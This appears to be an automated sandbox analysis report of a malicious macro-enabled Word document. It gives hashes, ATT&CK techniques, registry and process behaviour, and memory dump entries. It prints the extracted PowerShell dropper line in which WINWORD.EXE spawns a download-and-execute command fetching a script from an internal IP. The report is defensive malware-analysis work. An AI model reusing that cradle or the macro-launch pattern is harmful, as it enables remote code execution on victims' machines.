ed4ae4ef8a0e7a00159b884ae86154f6bf3d41a3911276eee795965735292456

Analysis

max time kernel
142s
max time network
166s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2022 21:29

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General

Target

ce7d9b0734436d37674c5e9b91d67431.docm
Size

17KB
MD5

ce7d9b0734436d37674c5e9b91d67431
SHA1

2ce909f8c0d4dc8b684743c4a45b335a79124e96
SHA256

ed4ae4ef8a0e7a00159b884ae86154f6bf3d41a3911276eee795965735292456
SHA512

ae6c4421bf9a3944b287b2266f3f184fdcba03a20a358ae25778c2f87ab09a26ac2ee66d9276303edb269f2a4313bf083693bf3673b6b7783eca2f63fee22b6b
SSDEEP

384:Bnh0AtxoAKtkKERlcPNxt/ZtNNMNKuTVLa+0txyq3:BnuKuAKbSUxllNMl+ZsU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.40.128/fund.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4748	2548	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2548 WINWORD.EXE
2548 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4748 powershell.exe
4748 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4748 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

2548 WINWORD.EXE
2548 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2548 WINWORD.EXE
2548 WINWORD.EXE
2548 WINWORD.EXE
2548 WINWORD.EXE
2548 WINWORD.EXE
2548 WINWORD.EXE
2548 WINWORD.EXE

pid	process
2548	WINWORD.EXE
2548	WINWORD.EXE

pid	process
4748	powershell.exe
4748	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4748	powershell.exe

pid	process
2548	WINWORD.EXE
2548	WINWORD.EXE

pid	process
2548	WINWORD.EXE
2548	WINWORD.EXE
2548	WINWORD.EXE
2548	WINWORD.EXE
2548	WINWORD.EXE
2548	WINWORD.EXE
2548	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2548 wrote to memory of 4748	2548	WINWORD.EXE	powershell.exe
PID 2548 wrote to memory of 4748	2548	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ce7d9b0734436d37674c5e9b91d67431.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe "IEX ((new-object net.webclient).downloadstring('http://192.168.40.128/fund.txt'))"
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2548-145-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-132-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-134-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-135-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-148-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-137-0x00007FF8F9330000-0x00007FF8F9340000-memory.dmp

Filesize
64KB

Download
memory/2548-133-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-138-0x00007FF8F9330000-0x00007FF8F9340000-memory.dmp

Filesize
64KB

Download
memory/2548-136-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-147-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/2548-146-0x00007FF8FBB30000-0x00007FF8FBB40000-memory.dmp

Filesize
64KB

Download
memory/4748-140-0x00000203E1A70000-0x00000203E1A92000-memory.dmp

Filesize
136KB

Download
memory/4748-143-0x00007FF9108F0000-0x00007FF9113B1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-142-0x00007FF9108F0000-0x00007FF9113B1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-141-0x00007FF9108F0000-0x00007FF9113B1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-139-0x0000000000000000-mapping.dmp

Download